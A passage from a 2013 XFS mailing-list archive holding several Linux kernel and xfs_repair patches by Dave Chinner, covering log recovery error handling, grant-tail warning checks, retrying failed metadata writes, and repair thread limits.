XLOG_RECOVER_COMMIT_QUEUE_MAX 100 - hlist_del(&trans->r_list); + hlist_del_init(&trans->r_list); error = xlog_recover_reorder_trans(log, trans, pass); if (error) @@ -3488,17 +3509,17 @@ xlog_recover_commit_trans( list_splice_tail_init(&ra_list, &done_list); items_queued = 0; } - break; default: ASSERT(0); + error = ERANGE; + break; } if (error) - goto out; + break; } -out: if (!list_empty(&ra_list)) { if (!error) error = xlog_recover_items_pass2(log, trans, @@ -3509,22 +3530,17 @@ out: if (!list_empty(&done_list)) list_splice_init(&done_list, &trans->r_itemq); + /* + * We've already removed the trans structure from the hash, so nobody + * else will ever find this structure again. Hence we must free it here + * regardless of whether we processed it successfully or not. + */ xlog_recover_free_trans(trans); error2 = xfs_buf_delwri_submit(&buffer_list); return error ? error : error2; } -STATIC int -xlog_recover_unmount_trans( - struct xlog *log, - struct xlog_recover *trans) -{ - /* Do nothing now */ - xfs_warn(log->l_mp, "%s: Unmount LR", __func__); - return 0; -} - /* * There are two valid states of the r_state field. 0 indicates that the * transaction structure is in a normal state. We have either seen the @@ -3545,9 +3561,9 @@ xlog_recover_process_data( xfs_caddr_t lp; int num_logops; xlog_op_header_t *ohead; - xlog_recover_t *trans; + xlog_recover_t *trans = NULL; xlog_tid_t tid; - int error; + int error = 0; unsigned long hash; uint flags; @@ -3556,7 +3572,7 @@ xlog_recover_process_data( /* check the log format matches our own - else we can't recover */ if (xlog_header_check_recover(log->l_mp, rhead)) - return (XFS_ERROR(EIO)); + return XFS_ERROR(EIO); while ((dp < lp) && num_logops) { ASSERT(dp + sizeof(xlog_op_header_t) <= lp); @@ -3564,10 +3580,13 @@ xlog_recover_process_data( dp += sizeof(xlog_op_header_t); if (ohead->oh_clientid != XFS_TRANSACTION && ohead->oh_clientid != XFS_LOG) { - xfs_warn(log->l_mp, "%s: bad clientid 0x%x", + xfs_warn(log->l_mp, + "%s: bad transaction opheader clientid 0x%x", __func__, ohead->oh_clientid); ASSERT(0); - return (XFS_ERROR(EIO)); + if (trans) + xlog_recover_free_trans(trans); + return EIO; } tid = be32_to_cpu(ohead->oh_tid); hash = XLOG_RHASH(tid); @@ -3578,11 +3597,14 @@ xlog_recover_process_data( be64_to_cpu(rhead->h_lsn)); } else { if (dp + be32_to_cpu(ohead->oh_len) > lp) { - xfs_warn(log->l_mp, "%s: bad length 0x%x", + xfs_warn(log->l_mp, + "%s: bad transaction opheader length 0x%x", __func__, be32_to_cpu(ohead->oh_len)); WARN_ON(1); - return (XFS_ERROR(EIO)); + xlog_recover_free_trans(trans); + return EIO; } + flags = ohead->oh_flags & ~XLOG_END_TRANS; if (flags & XLOG_WAS_CONT_TRANS) flags &= ~XLOG_CONTINUE_TRANS; @@ -3591,36 +3613,35 @@ xlog_recover_process_data( error = xlog_recover_commit_trans(log, trans, pass); break; - case XLOG_UNMOUNT_TRANS: - error = xlog_recover_unmount_trans(log, trans); - break; case XLOG_WAS_CONT_TRANS: error = xlog_recover_add_to_cont_trans(log, trans, dp, be32_to_cpu(ohead->oh_len)); break; - case XLOG_START_TRANS: - xfs_warn(log->l_mp, "%s: bad transaction", - __func__); - ASSERT(0); - error = XFS_ERROR(EIO); - break; case 0: case XLOG_CONTINUE_TRANS: error = xlog_recover_add_to_trans(log, trans, dp, be32_to_cpu(ohead->oh_len)); break; + case XLOG_UNMOUNT_TRANS: + xfs_warn(log->l_mp, "%s: Unmount LR", __func__); + break; + case XLOG_START_TRANS: default: - xfs_warn(log->l_mp, "%s: bad flag 0x%x", + xfs_warn(log->l_mp, + "%s: bad transaction opheader flag 0x%x", __func__, flags); ASSERT(0); - error = XFS_ERROR(EIO); - break; - } - if (error) { xlog_recover_free_trans(trans); - return error; + return EIO; } + /* + * If there's been an error, the trans structure has + * already been freed. So there's nothing for us to do + * but abort the recovery process. + */ + if (error) + return error; } dp += be32_to_cpu(ohead->oh_len); num_logops--; -- 1.8.4.rc3 From dave@fromorbit.com Wed Dec 11 23:34:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 290177F52 for ; Wed, 11 Dec 2013 23:34:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A01E2AC008 for ; Wed, 11 Dec 2013 21:34:46 -0800 (PST) X-ASG-Debug-ID: 1386826481-04cb6c537e6c02d0003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id 9vzJXBvfqbdZMYyS for ; Wed, 11 Dec 2013 21:34:44 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAMZJqVJ5LHyk/2dsb2JhbABZgwe7WRd0giYBBScvMwhJOQMbGYgBwjIXk0MEol+HSIM9KIEsJA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 16:04:41 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vqyv2-0000bn-Ac for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vqyv2-0003cU-9c for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/6] xfs: prevent spurious "space > BBTOB(tail_blocks)" warnings Date: Thu, 12 Dec 2013 16:34:35 +1100 X-ASG-Orig-Subj: [PATCH 3/6] xfs: prevent spurious "space > BBTOB(tail_blocks)" warnings Message-Id: <1386826478-13846-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386826478-13846-1-git-send-email-david@fromorbit.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386826484 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- When xlog_verify_grant_tail() cracks the grant head and the log tail, it does so without locking to synchronise the sampling of the variables. A delay between samples can give the wrong results, sometimes leading to false warnings being emitted. To avoid spurious output in this situation, disable preemption to minimise the potential delays between them being sampled. This means that the log tail may still move, but it won't trigger warnings unless it moves beyond the current head cycle. If we see delays like that we probably should be throwing a warning, anyway. Further, the write head can validly pass the tail in certain circumstances. Document those circumstances in the commentsx, and remove the xlog_verify_grant_tail() call in xfs_log_reserve() that is guaranteed to emit false positive warnings due it being the source of temporary overcommit conditions. Signed-off-by: Dave Chinner --- fs/xfs/xfs_log.c | 94 +++++++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 69 insertions(+), 25 deletions(-) diff --git a/fs/xfs/xfs_log.c b/fs/xfs/xfs_log.c index 97b2705..f4ccc10 100644 --- a/fs/xfs/xfs_log.c +++ b/fs/xfs/xfs_log.c @@ -472,7 +472,6 @@ xfs_log_reserve( xlog_grant_add_space(log, &log->l_reserve_head.grant, need_bytes); xlog_grant_add_space(log, &log->l_write_head.grant, need_bytes); trace_xfs_log_reserve_exit(log, tic); - xlog_verify_grant_tail(log); return 0; out_error: @@ -3651,36 +3650,81 @@ xlog_verify_dest_ptr( * the cycles are the same, we can't be overlapping. Otherwise, make sure that * the cycles differ by exactly one and check the byte count. * - * This check is run unlocked, so can give false positives. Rather than assert - * on failures, use a warn-once flag and a panic tag to allow the admin to - * determine if they want to panic the machine when such an error occurs. For - * debug kernels this will have the same effect as using an assert but, unlinke - * an assert, it can be turned off at runtime. + * We only do this check when regranting write space because xfs_log_reserve can + * race with a regrant and a reserve space overcommit can result in a write + * space overcommit from xfs_log_reserve() once log space becomes available + * again. This is only a temporary situation, but it means that checking the + * write grant head and log tail from xfs_log_reserve gives false positives. + * + * If we only call from xfs_log_regrant(), we are only called after overcommit + * situations have been resolved by sleeping. If the head and tail overlap at + * this point, then we have a problem. + * + * Because we always want to know about this issue if there is a filesystem hang + * due to log space availability, use a warn-once flag and a panic tag to allow + * the admin to determine if they want to panic the machine when such an error + * occurs. For debug kernels this will have the same effect as using an assert + * but, unlike an assert, it can be turned off at runtime. */ STATIC void xlog_verify_grant_tail( struct xlog *log) { - int tail_cycle, tail_blocks; - int cycle, space; - - xlog_crack_grant_head(&log->l_write_head.grant, &cycle, &space); - xlog_crack_atomic_lsn(&log->l_tail_lsn, &tail_cycle, &tail_blocks); - if (tail_cycle != cycle) { - if (cycle - 1 != tail_cycle && - !(log->l_flags & XLOG_TAIL_WARN)) { - xfs_alert_tag(log->l_mp, XFS_PTAG_LOGRES, - "%s: cycle - 1 != tail_cycle", __func__); - log->l_flags |= XLOG_TAIL_WARN; - } + int tail_cycle; + int tail_blocks; + int head_cycle; + int head_bytes; - if (space > BBTOB(tail_blocks) && - !(log->l_flags & XLOG_TAIL_WARN)) { - xfs_alert_tag(log->l_mp, XFS_PTAG_LOGRES, - "%s: space > BBTOB(tail_blocks)", __func__); - log->l_flags |= XLOG_TAIL_WARN; - } - } + /* + * If we've already detected an problem here, don't bother checking + * again. + */ + if (log->l_flags & XLOG_TAIL_WARN) + return; + + /* + * Sample the tail before head to avoid spurious warnings due to racing + * tail updates. We disable preemption and dump a memory barrier here to + * make sure we pick up the latest values with as little latency between + * the samples as possible. + */ + preempt_disable(); + smp_mb(); + xlog_crack_atomic_lsn(&log->l_tail_lsn, &tail_cycle, + &tail_blocks); + xlog_crack_grant_head(&log->l_write_head.grant, &head_cycle, + &head_bytes); + preempt_enable(); + + /* + * if the cycles are the same, the head and tail can't be + * overlapping, so everything is ok and we are done. + */ + if (tail_cycle == head_cycle) + return; + + /* + * if the tail is on the previous cycle to the head and the head + * is before the tail, then all is good. + */ + if (tail_cycle == head_cycle - 1 && + BBTOB(tail_blocks) >= head_bytes) + return; + + /* + * OK, we're in trouble now - the head and tail are out of sync. Time to + * issue a warning about it + */ + xfs_alert(log->l_mp, + "%s: Write head overlaps the tail, caller %pF\n" + " tail_cycle = %d, tail_bytes = %d\n" + " GH cycle = %d, GH bytes = %d", + __func__, (void *)_RET_IP_, + tail_cycle, BBTOB(tail_blocks), head_cycle, head_bytes); +#ifdef DEBUG + dump_stack(); +#endif + log->l_flags |= XLOG_TAIL_WARN; } /* check if it will fit */ -- 1.8.4.rc3 From dave@fromorbit.com Wed Dec 11 23:34:48 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D74697F5D for ; Wed, 11 Dec 2013 23:34:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C410B8F8035 for ; Wed, 11 Dec 2013 21:34:47 -0800 (PST) X-ASG-Debug-ID: 1386826481-04cb6c537e6c02d0004-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id lcFirjKvl8yji8dO for ; Wed, 11 Dec 2013 21:34:46 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAMZJqVJ5LHyk/2dsb2JhbABZgwe7WRd0giUBAQUnLzMIGDE5AxsZiAHCMheOMYUSBIxZknuKU4M9KIEt Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 16:04:42 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vqyv2-0000bq-Cd for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vqyv2-0003cj-Bf for xfs@oss.sgi.com; Thu, 12 Dec 2013 16:34:40 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 6/6] xfs: abort metadata writeback on permanent errors Date: Thu, 12 Dec 2013 16:34:38 +1100 X-ASG-Orig-Subj: [PATCH 6/6] xfs: abort metadata writeback on permanent errors Message-Id: <1386826478-13846-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386826478-13846-1-git-send-email-david@fromorbit.com> References: <1386826478-13846-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386826485 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143032 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner If we are doing aysnc writeback of metadata, we can get write errors but have nobody to report them to. At the moment, we simply attempt to reissue the write from io completion in the hope that it's a transient error. When it's not a transient error, the buffer is stuck forever in this loop, and we cannot break out of it. Eventually, unmount will hang because the AIL cannot be emptied and everything goes downhill from them. To solve this problem, only retry the write IO once before aborting it. We don't throw the buffer away because some transient errors can last minutes (e.g. FC path failover) or even hours (thin provisioned devices that have run out of backing space) before they go away. Hence we really want to keep trying until we can't try any more. Because the buffer was not cleaned, however, it does not get removed from the AIL and hence the next pass across the AIL will start IO on it again. As such, we still get the "retry forever" semantics that we currently have, but we allow other access to the buffer in the mean time. Meanwhile the filesystem can continue to modify the buffer and relog it, so the IO errors won't hang the log or the filesystem. Now when we are pushing the AIL, we can see all these "permanent IO error" buffers and we can issue a warning about failures before we retry the IO. We can also catch these buffers when unmounting an issue a corruption warning, too. Signed-off-by: Dave Chinner --- fs/xfs/xfs_buf.c | 10 ++++++++-- fs/xfs/xfs_buf.h | 6 +++++- fs/xfs/xfs_buf_item.c | 21 +++++++++++++++++++-- 3 files changed, 32 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index 27dc152..402e050 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1153,7 +1153,7 @@ xfs_bwrite( ASSERT(xfs_buf_islocked(bp)); bp->b_flags |= XBF_WRITE; - bp->b_flags &= ~(XBF_ASYNC | XBF_READ | _XBF_DELWRI_Q); + bp->b_flags &= ~(XBF_ASYNC | XBF_READ | _XBF_DELWRI_Q | XBF_WRITE_FAIL); xfs_bdstrat_cb(bp); @@ -1525,6 +1525,12 @@ xfs_wait_buftarg( struct xfs_buf *bp; bp = list_first_entry(&dispose, struct xfs_buf, b_lru); list_del_init(&bp->b_lru); + if (bp->b_flags & XBF_WRITE_FAIL) { + xfs_alert(btp->bt_mount, +"Corruption Alert: Buffer at block 0x%llx had permanent write failures!\n" +"Please run xfs_repair to determine the extent of the problem.", + (long long)bp->b_bn); + } xfs_buf_rele(bp); } if (loop++ != 0) @@ -1798,7 +1804,7 @@ __xfs_buf_delwri_submit( blk_start_plug(&plug); list_for_each_entry_safe(bp, n, io_list, b_list) { - bp->b_flags &= ~(_XBF_DELWRI_Q | XBF_ASYNC); + bp->b_flags &= ~(_XBF_DELWRI_Q | XBF_ASYNC | XBF_WRITE_FAIL); bp->b_flags |= XBF_WRITE; if (!wait) { diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index e656833..614097e 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -45,6 +45,7 @@ typedef enum { #define XBF_ASYNC (1 << 4) /* initiator will not wait for completion */ #define XBF_DONE (1 << 5) /* all pages in the buffer uptodate */ #define XBF_STALE (1 << 6) /* buffer has been staled, do not find it */ +#define XBF_WRITE_FAIL (1 << 24)/* async writes have failed on this buffer */ /* I/O hints for the BIO layer */ #define XBF_SYNCIO (1 << 10)/* treat this buffer as synchronous I/O */ @@ -70,6 +71,7 @@ typedef unsigned int xfs_buf_flags_t; { XBF_ASYNC, "ASYNC" }, \ { XBF_DONE, "DONE" }, \ { XBF_STALE, "STALE" }, \ + { XBF_WRITE_FAIL, "WRITE_FAIL" }, \ { XBF_SYNCIO, "SYNCIO" }, \ { XBF_FUA, "FUA" }, \ { XBF_FLUSH, "FLUSH" }, \ @@ -80,6 +82,7 @@ typedef unsigned int xfs_buf_flags_t; { _XBF_DELWRI_Q, "DELWRI_Q" }, \ { _XBF_COMPOUND, "COMPOUND" } + /* * Internal state flags. */ @@ -301,7 +304,8 @@ extern void xfs_buf_terminate(void); #define XFS_BUF_ZEROFLAGS(bp) \ ((bp)->b_flags &= ~(XBF_READ|XBF_WRITE|XBF_ASYNC| \ - XBF_SYNCIO|XBF_FUA|XBF_FLUSH)) + XBF_SYNCIO|XBF_FUA|XBF_FLUSH| \ + XBF_WRITE_FAIL)) void xfs_buf_stale(struct xfs_buf *bp); #define XFS_BUF_UNSTALE(bp) ((bp)->b_flags &= ~XBF_STALE) diff --git a/fs/xfs/xfs_buf_item.c b/fs/xfs/xfs_buf_item.c index a64f67b..2227b9b 100644 --- a/fs/xfs/xfs_buf_item.c +++ b/fs/xfs/xfs_buf_item.c @@ -496,6 +496,14 @@ xfs_buf_item_unpin( } } +/* + * Buffer IO error rate limiting. Limit it to no more than 10 messages per 30 + * seconds so as to not spam logs too much on repeated detection of the same + * buffer being bad.. + */ + +DEFINE_RATELIMIT_STATE(xfs_buf_write_fail_rl_state, 30 * HZ, 10); + STATIC uint xfs_buf_item_push( struct xfs_log_item *lip, @@ -524,6 +532,14 @@ xfs_buf_item_push( trace_xfs_buf_item_push(bip); + /* has a previous flush failed due to IO errors? */ + if ((bp->b_flags & XBF_WRITE_FAIL) && + ___ratelimit(&xfs_buf_write_fail_rl_state, "XFS:")) { + xfs_warn(bp->b_target->bt_mount, +"Detected failing async write on buffer block 0x%llx. Retrying async write.\n", + (long long)bp->b_bn); + } + if (!xfs_buf_delwri_queue(bp, buffer_list)) rval = XFS_ITEM_FLUSHING; xfs_buf_unlock(bp); @@ -1096,8 +1112,9 @@ xfs_buf_iodone_callbacks( xfs_buf_ioerror(bp, 0); /* errno of 0 unsets the flag */ - if (!XFS_BUF_ISSTALE(bp)) { - bp->b_flags |= XBF_WRITE | XBF_ASYNC | XBF_DONE; + if (!(bp->b_flags & (XBF_STALE|XBF_WRITE_FAIL))) { + bp->b_flags |= XBF_WRITE | XBF_ASYNC | + XBF_DONE | XBF_WRITE_FAIL; xfs_buf_iorequest(bp); } else { xfs_buf_relse(bp); -- 1.8.4.rc3 From dave@fromorbit.com Thu Dec 12 01:22:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DC8BE7F51 for ; Thu, 12 Dec 2013 01:22:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D85530406B for ; Wed, 11 Dec 2013 23:22:36 -0800 (PST) X-ASG-Debug-ID: 1386832952-04bdf013231cff80003-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id rzqsZi2cfxlAY2qX for ; Wed, 11 Dec 2013 23:22:34 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAI1jqVJ5LHyk/2dsb2JhbABZgwe7Wxd0giUBAQVWMwgYMTkDGxmIAcJbjjEJa4QeBKongz0ogSwBHwQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 17:52:31 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr0bM-0000oL-O7 for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr0bM-0005C8-NE for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 5/5] repair: limit auto-striding concurrency apprpriately Date: Thu, 12 Dec 2013 18:22:25 +1100 X-ASG-Orig-Subj: [PATCH 5/5] repair: limit auto-striding concurrency apprpriately Message-Id: <1386832945-19763-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386832945-19763-1-git-send-email-david@fromorbit.com> References: <1386832945-19763-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386832954 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner It's possible to have filesystems with hundreds of AGs on systems with little concurrency and resources. In this case, we can easily exhaust memory and fail to create threads and have all sorts of interesting problems. xfs/250 can cause this to occur, with failures like: - agno = 707 - agno = 692 fatal error -- cannot create worker threads, error = [11] Resource temporarily unavailable And this: - agno = 484 - agno = 782 failed to create prefetch thread: Resource temporarily unavailable Because it's trying to create more threads than a poor little 512MB single CPU ia32 box can handle. So, limit concurrency to a maximum of numcpus * 8 to prevent this. Signed-off-by: Dave Chinner --- include/libxfs.h | 1 + libxfs/init.h | 1 - repair/xfs_repair.c | 18 +++++++++++++++++- 3 files changed, 18 insertions(+), 2 deletions(-) diff --git a/include/libxfs.h b/include/libxfs.h index 4bf331c..39e3d85 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -144,6 +144,7 @@ extern void libxfs_device_close (dev_t); extern int libxfs_device_alignment (void); extern void libxfs_report(FILE *); extern void platform_findsizes(char *path, int fd, long long *sz, int *bsz); +extern int platform_nproc(void); /* check or write log footer: specify device, log size in blocks & uuid */ typedef xfs_caddr_t (libxfs_get_block_t)(xfs_caddr_t, int, void *); diff --git a/libxfs/init.h b/libxfs/init.h index f0b8cb6..112febb 100644 --- a/libxfs/init.h +++ b/libxfs/init.h @@ -31,7 +31,6 @@ extern char *platform_findrawpath (char *path); extern char *platform_findblockpath (char *path); extern int platform_direct_blockdev (void); extern int platform_align_blockdev (void); -extern int platform_nproc(void); extern unsigned long platform_physmem(void); /* in kilobytes */ extern int platform_has_uuid; diff --git a/repair/xfs_repair.c b/repair/xfs_repair.c index 7beffcb..0d006ae 100644 --- a/repair/xfs_repair.c +++ b/repair/xfs_repair.c @@ -627,13 +627,29 @@ main(int argc, char **argv) * to target these for an increase in thread count. Hence a stride value * of 15 is chosen to ensure we get at least 2 AGs being scanned at once * on such filesystems. + * + * Limit the maximum thread count based on the available CPU power that + * is available. If we use too many threads, we might run out of memory + * and CPU power before we run out of IO concurrency. */ if (!ag_stride && glob_agcount >= 16 && do_prefetch) ag_stride = 15; if (ag_stride) { + int max_threads = platform_nproc() * 8; + thread_count = (glob_agcount + ag_stride - 1) / ag_stride; - thread_init(); + while (thread_count > max_threads) { + ag_stride *= 2; + thread_count = (glob_agcount + ag_stride - 1) / + ag_stride; + } + if (thread_count > 0) + thread_init(); + else { + thread_count = 1; + ag_stride = 0; + } } if (ag_stride && report_interval) { -- 1.8.4.rc3 From dave@fromorbit.com Thu Dec 12 01:22:37 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_FILL_THIS_FORM_SHORT autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3C0437F53 for ; Thu, 12 Dec 2013 01:22:37 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 08A4430406B for ; Wed, 11 Dec 2013 23:22:36 -0800 (PST) X-ASG-Debug-ID: 1386832953-04bdf013211cff80002-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id cQmEXnmumSGx9Ejl for ; Wed, 11 Dec 2013 23:22:35 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlQGAI1jqVJ5LHyk/2dsb2JhbABZgwe7Wxd0giUBAQUnLzMIGDE5AxsZiAHCRBeTQwSqJ4M9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 12 Dec 2013 17:52:31 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Vr0bM-0000oG-M8 for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Vr0bM-0005Bt-KV for xfs@oss.sgi.com; Thu, 12 Dec 2013 18:22:28 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/5] repair: per AG locks contend for cachelines Date: Thu, 12 Dec 2013 18:22:22 +1100 X-ASG-Orig-Subj: [PATCH 2/5] repair: per AG locks contend for cachelines Message-Id: <1386832945-19763-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1386832945-19763-1-git-send-email-david@fromorbit.com> References: <1386832945-19763-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386832954 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143034 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The per-ag locks used to protect per-ag block lists are located in a tightly packed array. That means that they share cachelines, so separate them out inot separate 64 byte regions in the array. pahole confirms the padding is correctly applied: struct aglock { pthread_mutex_t lock; /* 0 40 */ /* size: 64, cachelines: 1, members: 1 */ /* padding: 24 */ }; Signed-off-by: Dave Chinner --- repair/dino_chunks.c | 24 ++++++++++++------------ repair/dinode.c | 6 +++--- repair/globals.h | 5 ++++- repair/incore.c | 4 ++-- repair/scan.c | 4 ++-- 5 files changed, 23 insertions(+), 20 deletions(-) diff --git a/repair/dino_chunks.c b/repair/dino_chunks.c index d3c2236..02d32d8 100644 --- a/repair/dino_chunks.c +++ b/repair/dino_chunks.c @@ -141,7 +141,7 @@ verify_inode_chunk(xfs_mount_t *mp, if (check_aginode_block(mp, agno, agino) == 0) return 0; - pthread_mutex_lock(&ag_locks[agno]); + pthread_mutex_lock(&ag_locks[agno].lock); state = get_bmap(agno, agbno); switch (state) { @@ -166,7 +166,7 @@ verify_inode_chunk(xfs_mount_t *mp, _("inode block %d/%d multiply claimed, (state %d)\n"), agno, agbno, state); set_bmap(agno, agbno, XR_E_MULT); - pthread_mutex_unlock(&ag_locks[agno]); + 